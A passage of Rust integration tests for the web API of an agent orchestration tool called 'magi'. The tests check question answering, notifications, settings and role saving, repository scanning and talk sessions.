9363 fx.queue().put(&mut task).unwrap();
9364
9365 let path = format!("/api/questions/{id}/consult");
9366 let res = fx.post(&path, None).await;
9367 assert!(res.status >= 400, "{}", res.body);
9368 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9369 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9370
9371 std::fs::write(&toml, "").unwrap();
9372 let res = fx.post(&path, None).await;
9373 assert_eq!(res.status, 202, "{}", res.body);
9374 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9375 let q = fx.questions().get(&id).unwrap();
9376 assert!(q.status.open());
9377 assert!(q.answer.is_none());
9378 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9379 }
9380
9381 #[tokio::test]
9382 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9383 let fx = Fixture::start().await;
9384 let store = fx.questions();
9385 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9386 assert_eq!(
9387 fx.get("/api/health").await.json()["questions_needs_owner"],
9388 1
9389 );
9390
9391 let res = fx
9397 .post(
9398 &format!("/api/questions/{id}/say"),
9399 Some(r#"{"body":"why not Postgres?"}"#),
9400 )
9401 .await;
9402 assert_eq!(res.status, 200, "{}", res.body);
9403 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9404 assert_eq!(
9405 fx.get("/api/health").await.json()["questions_needs_owner"],
9406 0,
9407 "waiting on the agent is not waiting on the owner"
9408 );
9409
9410 let mut q = store.get(&id).expect("get");
9414 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9415 .expect("reply");
9416 store.put(&mut q).expect("put");
9417 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9418 assert_eq!(
9419 fx.get("/api/health").await.json()["questions_needs_owner"],
9420 1,
9421 "the agent's reply is what should light the banner back up"
9422 );
9423 }
9424
9425 #[tokio::test]
9426 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9427 let fx = Fixture::start().await;
9428 let store = fx.questions();
9429
9430 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9431 let res = fx
9432 .post(
9433 &format!("/api/questions/{empty_id}/say"),
9434 Some(r#"{"body":" "}"#),
9435 )
9436 .await;
9437 assert_eq!(res.status, 400, "{}", res.body);
9438
9439 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9440 let mut answered = store.get(&answered_id).expect("get");
9441 answered
9442 .answer(Answer::Choice("SQLite".to_owned()))
9443 .expect("answer");
9444 store.put(&mut answered).expect("put");
9445 let res = fx
9446 .post(
9447 &format!("/api/questions/{answered_id}/say"),
9448 Some(r#"{"body":"still there?"}"#),
9449 )
9450 .await;
9451 assert_eq!(res.status, 409, "{}", res.body);
9452
9453 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9454 let mut abandoned = store.get(&abandoned_id).expect("get");
9455 abandoned.abandon("timed out");
9456 store.put(&mut abandoned).expect("put");
9457 let res = fx
9458 .post(
9459 &format!("/api/questions/{abandoned_id}/say"),
9460 Some(r#"{"body":"still there?"}"#),
9461 )
9462 .await;
9463 assert_eq!(res.status, 409, "{}", res.body);
9464 }
9465
9466 #[tokio::test]
9467 async fn an_answer_the_question_does_not_offer_is_refused() {
9468 let fx = Fixture::start().await;
9469 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9470 let path = format!("/api/questions/{id}/answer");
9471
9472 for body in [
9473 r#"{"choice":"Postgres"}"#,
9474 r#"{"text":"whatever you think"}"#,
9475 r#"{"choice":"Redis","text":"both"}"#,
9476 r#"{}"#,
9477 ] {
9478 let res = fx.post(&path, Some(body)).await;
9479 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9480 assert!(res.json()["error"].is_string(), "{}", res.body);
9481 }
9482 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9484 }
9485
9486 #[tokio::test]
9487 async fn a_free_text_question_takes_text_and_not_a_choice() {
9488 let fx = Fixture::start().await;
9489 let id = ask(&fx, "What should the flag be called?", &[]);
9490 let path = format!("/api/questions/{id}/answer");
9491
9492 assert_eq!(
9493 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9494 400
9495 );
9496 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9497 assert_eq!(res.status, 200, "{}", res.body);
9498 assert_eq!(res.json()["answer"]["text"], "--json");
9499 }
9500
9501 #[tokio::test]
9502 async fn an_unknown_question_is_a_json_404() {
9503 let fx = Fixture::start().await;
9504 let res = fx
9505 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9506 .await;
9507 assert_eq!(res.status, 404, "{}", res.body);
9508 assert!(res.json()["error"].is_string());
9509 }
9510
9511 #[tokio::test]
9512 async fn notifications_list_read_dismiss_and_health_agree() {
9513 let fx = Fixture::start().await;
9514 let store = Notices::at(fx.home.path().join("notifications"));
9515 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9516 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9517
9518 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9519 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9520
9521 let health = fx.get("/api/health").await.json();
9522 assert_eq!(health["notifications_unread"], 2);
9523 assert_ne!(
9524 health["notifications_rev"], rev0,
9525 "the badge must move live"
9526 );
9527
9528 let listed = fx.get("/api/notifications").await.json();
9529 assert_eq!(listed["unread"], 2);
9530 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9531 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9532
9533 let read = fx
9534 .post(&format!("/api/notifications/{}/read", a.id), None)
9535 .await;
9536 assert_eq!(read.status, 200, "{}", read.body);
9537 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9538
9539 let gone = fx
9540 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9541 .await;
9542 assert_eq!(gone.status, 200, "{}", gone.body);
9543 let listed = fx.get("/api/notifications").await.json();
9544 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9545 assert_eq!(listed["unread"], 0);
9546
9547 store.raise(Notice::info("x", "again")).unwrap();
9548 let all = fx.post("/api/notifications/read-all", None).await;
9549 assert_eq!(all.status, 200, "{}", all.body);
9550 assert_eq!(all.json()["marked"], 1);
9551 assert_eq!(
9552 fx.get("/api/health").await.json()["notifications_unread"],
9553 0
9554 );
9555
9556 let missing = fx.post("/api/notifications/nope/read", None).await;
9557 assert_eq!(missing.status, 404, "{}", missing.body);
9558 assert!(missing.json()["error"].is_string());
9559 }
9560
9561 #[tokio::test]
9568 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9569 let f = Fixture::start().await;
9570
9571 let res = f
9572 .post(
9573 "/api/queue",
9574 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9575 )
9576 .await;
9577
9578 assert_eq!(
9579 res.status, 405,
9580 "POST /api/queue must not be a route: {}",
9581 res.body
9582 );
9583 assert!(
9584 f.queue().list().is_empty(),
9585 "a task filed by a route that does not exist must not reach the disk"
9586 );
9587 assert_eq!(f.get("/api/queue").await.status, 200);
9590 }
9591
9592 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9594 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9595 .expect("checkout dir");
9596 }
9597
9598 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9600
9601 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9602 let tmp = TempDir::new().expect("tempdir");
9603 let repo = tmp.path().join("repo");
9604 std::fs::create_dir_all(&repo).expect("repo dir");
9605 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9606 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9607 if let Some(text) = machine_toml {
9608 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9609 std::fs::write(&machine, text).expect("machine toml");
9610 }
9611 (tmp, repo, machine)
9612 }
9613
9614 async fn settings_checkout(path: &FsPath, text: &str) {
9615 std::fs::create_dir_all(path).unwrap();
9616 std::fs::write(path.join("magi.toml"), text).unwrap();
9617 for args in [
9618 vec!["init", "-b", "main"],
9619 vec!["add", "magi.toml"],
9620 vec![
9621 "-c",
9622 "user.name=Test",
9623 "-c",
9624 "user.email=test@example.invalid",
9625 "commit",
9626 "-m",
9627 "fixture",
9628 ],
9629 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9630 vec![
9631 "symbolic-ref",
9632 "refs/remotes/origin/HEAD",
9633 "refs/remotes/origin/main",
9634 ],
9635 ] {
9636 crate::git::git(path, &args).await.unwrap();
9637 }
9638 }
9639
9640 #[tokio::test]
9641 async fn settings_context_handlers_validate_and_save_without_a_socket() {
9642 let (tmp, repo, machine) =
9643 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9644 let root = tmp.path().join("roots");
9645 let selected = root.join("host/owner/selected");
9646 settings_checkout(
9647 &selected,
9648 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9649 )
9650 .await;
9651 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9652 let before = std::fs::read(&machine).unwrap();
9653 let ui = Arc::new(
9654 Ui::new(
9655 Queue::at(tmp.path().join("queue")),
9656 Questions::at(tmp.path().join("questions")),
9657 Talks::at(tmp.path().join("talks")),
9658 tmp.path().join("runs"),
9659 tmp.path().to_path_buf(),
9660 repo.clone(),
9661 )
9662 .with_machine_config(Some(machine.clone())),
9663 );
9664 let query = || {
9665 Query(SettingsQuery {
9666 repo: Some(selected.clone()),
9667 })
9668 };
9669 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9670 assert!(v.error.is_none(), "{:?}", v.error);
9671 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9672 assert_eq!(conductor.source, "repo");
9673 assert_eq!(
9674 conductor.machine_value,
9675 Some(toml::Value::String("a".into()))
9676 );
9677 assert!(!conductor.editable);
9678 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9679 assert_eq!(
9680 judges.count.as_ref().unwrap().machine_value,
9681 Some(toml::Value::Integer(1))
9682 );
9683 assert!(
9684 !v.roles
9685 .iter()
9686 .find(|r| r.key == "reviewers")
9687 .unwrap()
9688 .editable
9689 );
9690 let unknown = || {
9691 Query(SettingsQuery {
9692 repo: Some(tmp.path().to_path_buf()),
9693 })
9694 };
9695 assert_eq!(
9696 settings_get(State(ui.clone()), unknown())
9697 .await
9698 .unwrap_err()
9699 .status,
9700 StatusCode::UNPROCESSABLE_ENTITY
9701 );
9702 let body = || {
9703 Ok(Json(RolesBody {
9704 revision: v.revision.clone(),
9705 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9706 counts: Default::default(),
9707 }))
9708 };
9709 assert_eq!(
9710 settings_put_roles(State(ui.clone()), unknown(), body())
9711 .await
9712 .unwrap_err()
9713 .status,
9714 StatusCode::UNPROCESSABLE_ENTITY
9715 );
9716 assert_eq!(std::fs::read(&machine).unwrap(), before);
9717 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9718 .await
9719 .unwrap();
9720 assert_eq!(
9721 saved.repo,
9722 selected.canonicalize().unwrap().display().to_string()
9723 );
9724 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9725 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9726 let fresh = root.join("host/owner/fresh");
9728 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9729 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9730 .await
9731 .unwrap();
9732 assert_eq!(fresh_view.repositories.len(), 3);
9733 }
9734
9735 #[tokio::test]
9736 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9737 let (tmp, repo, machine) = settings_dirs(
9738 "[roles]\nreviewers = [\"a\"]\n",
9739 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9740 );
9741 let root = tmp.path().join("roots");
9742 let selected = root.join("host/owner/selected");
9743 settings_checkout(
9744 &selected,
9745 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9746 )
9747 .await;
9748 let broken = root.join("host/owner/broken");
9749 settings_checkout(&broken, "[roles\nbroken").await;
9750 let machine_text = format!(
9751 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9752 toml::Value::String(root.display().to_string())
9753 );
9754 std::fs::write(&machine, &machine_text).unwrap();
9755 let originals: Vec<_> = [&repo, &selected, &broken]
9756 .iter()
9757 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9758 .collect();
9759 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9760 let default = f.get("/api/settings").await.json();
9761 assert_eq!(
9762 default["repo"],
9763 repo.canonicalize().unwrap().display().to_string()
9764 );
9765 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9766 let query = format!("?repo={}", selected.display());
9767 let res = f.get(&format!("/api/settings{query}")).await;
9768 assert_eq!(res.status, 200, "{}", res.body);
9769 let v = res.json();
9770 assert!(v["error"].is_null(), "{v}");
9771 assert_eq!(v["repositories"], default["repositories"]);
9772 let role = |key: &str| {
9773 v["roles"]
9774 .as_array()
9775 .unwrap()
9776 .iter()
9777 .find(|r| r["key"] == key)
9778 .unwrap()
9779 };
9780 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9781 assert_eq!(role("advisors")["source"], "repo");
9782 assert_eq!(role("advisors")["editable"], false);
9783 assert!(role("advisors")["machine_value"].is_null());
9784 assert_eq!(role("judges")["count"]["value"], 2);
9785 assert_eq!(role("judges")["count"]["machine_value"], 1);
9786 assert_eq!(role("judges")["count"]["source"], "repo");
9787 let source = role("judges")["count"]["source_path"].as_str().unwrap();
9788 assert!(
9789 source.contains("origin/main") && !source.contains("magi/config/"),
9790 "{source}"
9791 );
9792 assert_eq!(
9793 role("reviewers")["editable"],
9794 false,
9795 "default context outside roots must protect its declarations"
9796 );
9797 let body =
9798 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9799 let unknown = format!("?repo={}", tmp.path().display());
9800 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9801 assert_eq!(
9802 f.put(&format!("/api/settings/roles{unknown}"), &body)
9803 .await
9804 .status,
9805 422
9806 );
9807 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9808 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9809 .to_string();
9810 assert_eq!(
9811 f.put(&format!("/api/settings/roles{query}"), &refuse)
9812 .await
9813 .status,
9814 422
9815 );
9816 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9817 assert_eq!(saved.status, 200, "{}", saved.body);
9818 assert_eq!(saved.json()["repo"], v["repo"]);
9819 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9820 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9821 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9822 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9823 }
9824 let error = f
9825 .get(&format!("/api/settings?repo={}", broken.display()))
9826 .await;
9827 assert_eq!(error.status, 200);
9828 assert!(error.json()["error"]["message"].is_string());
9829 assert_eq!(error.json()["repositories"], default["repositories"]);
9830 }
9831
9832 #[tokio::test]
9833 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9834 let (_tmp, repo, machine) =
9835 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9836 let f = Fixture::with_repo_and_machine(repo, machine).await;
9837 let res = f.get("/api/settings").await;
9838 assert_eq!(res.status, 200, "{}", res.body);
9839 let v = res.json();
9840 assert!(v["error"].is_null(), "{v}");
9841 let role = |k: &str| {
9842 v["roles"]
9843 .as_array()
9844 .and_then(|r| r.iter().find(|x| x["key"] == k))
9845 .cloned()
9846 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9847 };
9848 assert_eq!(role("judges")["source"], "machine");
9849 assert_eq!(role("judges")["editable"], true);
9850 assert_eq!(role("implementers")["source"], "default");
9851 let adv = role("advisors");
9852 assert_eq!(adv["fallback"], "judges");
9853 assert!(
9854 adv["seats"]
9855 .as_array()
9856 .is_some_and(|s| s.iter().all(|x| x == "b")),
9857 "{adv}"
9858 );
9859 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9860 assert_eq!(v["agents"][0]["source"], "repo");
9861 }
9862
9863 #[tokio::test]
9864 async fn settings_get_reports_a_config_that_does_not_parse() {
9865 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9866 let f = Fixture::with_repo_and_machine(repo, machine).await;
9867 let res = f.get("/api/settings").await;
9868 assert_eq!(res.status, 200, "{}", res.body);
9869 let v = res.json();
9870 assert!(v["error"]["message"].is_string(), "{v}");
9871 assert!(
9872 v["error"]["path"]
9873 .as_str()
9874 .is_some_and(|p| p.ends_with("magi.toml")),
9875 "{v}"
9876 );
9877 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9878 }
9879
9880 #[tokio::test]
9881 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9882 let (_tmp, repo, machine) = settings_dirs(
9883 SETTINGS_AGENTS,
9884 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9885 );
9886 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9887 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9888 let rev = f.get("/api/settings").await.json()["revision"]
9889 .as_str()
9890 .expect("revision")
9891 .to_owned();
9892 let body = serde_json::json!({
9893 "revision": rev,
9894 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9895 })
9896 .to_string();
9897 let res = f.put("/api/settings/roles", &body).await;
9898 assert_eq!(res.status, 200, "{}", res.body);
9899 let text = std::fs::read_to_string(&machine).expect("machine");
9900 assert_eq!(
9901 text,
9902 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9903 );
9904 assert_eq!(
9905 std::fs::read(repo.join("magi.toml")).expect("read"),
9906 repo_before
9907 );
9908 let again = f.get("/api/settings").await.json();
9909 let judges = again["roles"]
9910 .as_array()
9911 .expect("roles")
9912 .iter()
9913 .find(|r| r["key"] == "judges")
9914 .expect("judges")
9915 .clone();
9916 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9917 let stale = f.put("/api/settings/roles", &body).await;
9919 assert_eq!(stale.status, 409, "{}", stale.body);
9920 }
9921
9922 #[tokio::test]
9923 async fn settings_counts_are_reported_and_saved() {
9924 let (_tmp, repo, machine) = settings_dirs(
9925 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9926 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9927 );
9928 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9929 let v = f.get("/api/settings").await.json();
9930 let count = |v: &serde_json::Value, k: &str| {
9931 v["roles"]
9932 .as_array()
9933 .and_then(|r| r.iter().find(|x| x["key"] == k))
9934 .map(|x| x["count"].clone())
9935 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9936 };
9937 let imp = count(&v, "implementers");
9938 assert_eq!(imp["value"], 2);
9939 assert_eq!(imp["source"], "machine");
9940 assert_eq!(imp["file_key"], "candidates");
9941 assert_eq!(imp["roster_len"], 2);
9942 assert_eq!(imp["backups"], 0);
9943 assert_eq!(count(&v, "judges")["source"], "default");
9944 assert_eq!(count(&v, "advisors")["min"], 0);
9945 assert_eq!(count(&v, "reviewers")["editable"], false);
9946 assert!(
9947 count(&v, "reviewers")["locked_reason"]
9948 .as_str()
9949 .is_some_and(|m| m.contains("graph.reviewers"))
9950 );
9951 assert!(count(&v, "fixer").is_null());
9952 let rev = v["revision"].as_str().expect("revision").to_owned();
9953 let body = serde_json::json!({
9954 "revision": rev,
9955 "roles": { "judges": ["b"] },
9956 "counts": { "implementers": 1, "advisors": 0 }
9957 })
9958 .to_string();
9959 let res = f.put("/api/settings/roles", &body).await;
9960 assert_eq!(res.status, 200, "{}", res.body);
9961 let text = std::fs::read_to_string(&machine).expect("machine");
9962 assert_eq!(
9963 text,
9964 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9965 );
9966 let after = f.get("/api/settings").await.json();
9967 assert_eq!(count(&after, "implementers")["value"], 1);
9968 assert_eq!(count(&after, "implementers")["backups"], 1);
9969 assert_eq!(count(&after, "advisors")["value"], 0);
9970 let before = std::fs::read_to_string(&machine).expect("machine");
9971 let rev = after["revision"].as_str().expect("revision").to_owned();
9972 for counts in [
9973 serde_json::json!({ "judges": 0 }),
9974 serde_json::json!({ "judges": "x" }),
9975 serde_json::json!({ "judges": 2.5 }),
9976 serde_json::json!({ "judges": -1 }),
9977 serde_json::json!({ "reviewers": 3 }),
9978 serde_json::json!({ "bogus": 3 }),
9979 ] {
9980 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9981 let res = f.put("/api/settings/roles", &body).await;
9982 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9983 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9984 }
9985 }
9986
9987 #[tokio::test]
9988 async fn settings_put_refuses_without_touching_the_file() {
9989 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9990 let (_tmp, repo, machine) = settings_dirs(
9991 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9992 Some(machine_text),
9993 );
9994 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9995 let rev = f.get("/api/settings").await.json()["revision"]
9996 .as_str()
9997 .expect("revision")
9998 .to_owned();
9999 for roles in [
10000 serde_json::json!({ "judges": ["nope"] }),
10001 serde_json::json!({ "reviewers": ["b"] }),
10002 serde_json::json!({ "bogus": ["a"] }),
10003 ] {
10004 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10005 let res = f.put("/api/settings/roles", &body).await;
10006 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10007 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10008 assert_eq!(
10009 std::fs::read_to_string(&machine).expect("machine"),
10010 machine_text
10011 );
10012 }
10013 }
10014
10015 #[tokio::test]
10016 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10017 let tmp = TempDir::new().expect("tempdir");
10018 let repo = tmp.path().join("repo");
10019 std::fs::create_dir_all(&repo).expect("repo dir");
10020 let root = tmp.path().join("root");
10021 make_checkout(&root, "github.com", "yukimemi", "magi");
10022 std::fs::write(
10023 repo.join("magi.toml"),
10024 format!(
10025 "[repos]\nroots = [{:?}]\n",
10026 root.to_string_lossy().into_owned()
10027 ),
10028 )
10029 .expect("write magi.toml");
10030
10031 let f = Fixture::with_repo(repo).await;
10032 let res = f.get("/api/repos").await;
10033 assert_eq!(res.status, 200, "{}", res.body);
10034 let list = res.json();
10035 let repos = list.as_array().expect("an array");
10036 assert_eq!(repos.len(), 1);
10037 assert_eq!(repos[0]["name"], "yukimemi/magi");
10038 assert!(
10039 repos[0]["path"]
10040 .as_str()
10041 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10042 "{list}"
10043 );
10044 }
10045
10046 #[tokio::test]
10047 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10048 let tmp = TempDir::new().expect("tempdir");
10049 let repo = tmp.path().join("repo");
10050 std::fs::create_dir_all(&repo).expect("repo dir");
10051 let root = tmp.path().join("root");
10052 make_checkout(&root, "github.com", "yukimemi", "magi");
10053 std::fs::write(
10054 repo.join("magi.toml"),
10055 format!(
10056 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10057 root.to_string_lossy().into_owned()
10058 ),
10059 )
10060 .expect("write magi.toml");
10061
10062 let f = Fixture::with_repo(repo).await;
10063 let first = f.get("/api/repos").await;
10064 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10065
10066 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10069 let second = f.get("/api/repos").await;
10070 assert_eq!(
10071 second.json().as_array().map(Vec::len),
10072 Some(1),
10073 "a fresh cache must not rescan inside the TTL"
10074 );
10075
10076 let refreshed = f.get("/api/repos?refresh=1").await;
10077 assert_eq!(
10078 refreshed.json().as_array().map(Vec::len),
10079 Some(2),
10080 "an explicit refresh must rescan even inside the TTL"
10081 );
10082 }
10083
10084 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10090
10091 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10095 let tmp = TempDir::new().expect("tempdir");
10096 let repo = tmp.path().join("repo");
10097 std::fs::create_dir_all(&repo).expect("repo dir");
10098 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10099 let f = Fixture::with_repo(repo.clone()).await;
10100 (tmp, repo, f)
10101 }
10102
10103 #[tokio::test]
10104 async fn posting_a_talk_with_remembered_choices_is_soft() {
10105 let (_tmp, _repo, f) = talk_fixture().await;
10106
10107 let good = f
10108 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10109 .await;
10110 assert_eq!(good.status, 201, "{}", good.body);
10111 assert_eq!(good.json()["persona"], "rei");
10112
10113 let stale = f
10115 .post(
10116 "/api/talks",
10117 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10118 )
10119 .await;
10120 assert_eq!(stale.status, 201, "{}", stale.body);
10121 let v = stale.json();
10122 assert_eq!(v["implementers"], 1);
10123 assert_ne!(v["persona"], "nobody");
10124 let typed = f
10125 .post(
10126 "/api/talks",
10127 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10128 )
10129 .await;
10130 assert_eq!(typed.status, 201, "{}", typed.body);
10131
10132 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10134 assert!(
10135 !strict.status.to_string().starts_with('2'),
10136 "{}",
10137 strict.body
10138 );
10139 }
10140
10141 #[tokio::test]
10142 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10143 let (_tmp, _repo, f) = talk_fixture().await;
10144
10145 let opened = f.post("/api/talks", None).await;
10148 assert_eq!(opened.status, 201, "{}", opened.body);
10149 let body = opened.json();
10150 assert_eq!(body["status"], "open");
10151 assert_eq!(
10152 body["turns"].as_array().unwrap().len(),
10153 0,
10154 "opening takes no agent turn: there is nothing yet to answer"
10155 );
10156
10157 let also_opened = f.post("/api/talks", Some("{}")).await;
10159 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10160
10161 let listed = f.get("/api/talks").await.json();
10162 assert_eq!(listed.as_array().unwrap().len(), 2);
10163 }
10164
10165 #[tokio::test]
10166 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10167 let tmp = TempDir::new().expect("tempdir");
10168 let repo = tmp.path().join("repo");
10169 std::fs::create_dir_all(&repo).expect("repo dir");
10170 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10171 std::fs::write(
10172 repo.join("magi.toml"),
10173 format!("{MOCK_AGENT_TOML}\n{second}"),
10174 )
10175 .expect("write magi.toml");
10176 let home = TempDir::new().expect("temp home");
10177 let talks = Talks::at(home.path().join("talks"));
10178 let ui = Arc::new(
10179 Ui::new(
10180 Queue::at(home.path().join("queue")),
10181 Questions::at(home.path().join("questions")),
10182 talks.clone(),
10183 home.path().join("runs"),
10184 home.path().to_path_buf(),
10185 repo.clone(),
10186 )
10187 .with_worktrees_root(home.path().join("wt")),
10188 );
10189 let cfg = config_for(&repo).await.expect("discover config");
10190 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10191 let id = talk.id.clone();
10192 let call = |agent: &str| {
10193 talk_agent(
10194 State(Arc::clone(&ui)),
10195 Path(id.clone()),
10196 Json(TalkAgent {
10197 agent: agent.to_owned(),
10198 }),
10199 )
10200 };
10201
10202 let unknown = call("nobody").await.expect_err("unknown agent");
10203 assert_eq!(
10204 unknown.status,
10205 StatusCode::BAD_REQUEST,
10206 "{}",
10207 unknown.message
10208 );
10209
10210 {
10211 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10214 let busy = call("second").await.expect_err("busy talk");
10215 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10216 assert!(
10217 busy.message.contains("a talk turn is running"),
10218 "{}",
10219 busy.message
10220 );
10221 drop(guard);
10222 }
10223 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10224
10225 let Json(view) = call("second").await.expect("switch");
10226 assert_eq!(view.talk.agent, "second");
10227 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10228 let saved = talks.get(&id).expect("reload");
10229 assert_eq!(saved.agent, "second");
10230 assert_eq!(saved.turns.len(), 1);
10231 assert!(!view.thinking);
10232 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10233 for agent in ["mock", "second"] {
10234 let Json(view) = call(agent).await.expect("immediate consecutive change");
10235 assert_eq!(view.talk.agent, agent);
10236 assert!(!view.thinking);
10237 assert!(!ui.is_thinking(&id));
10238 }
10239
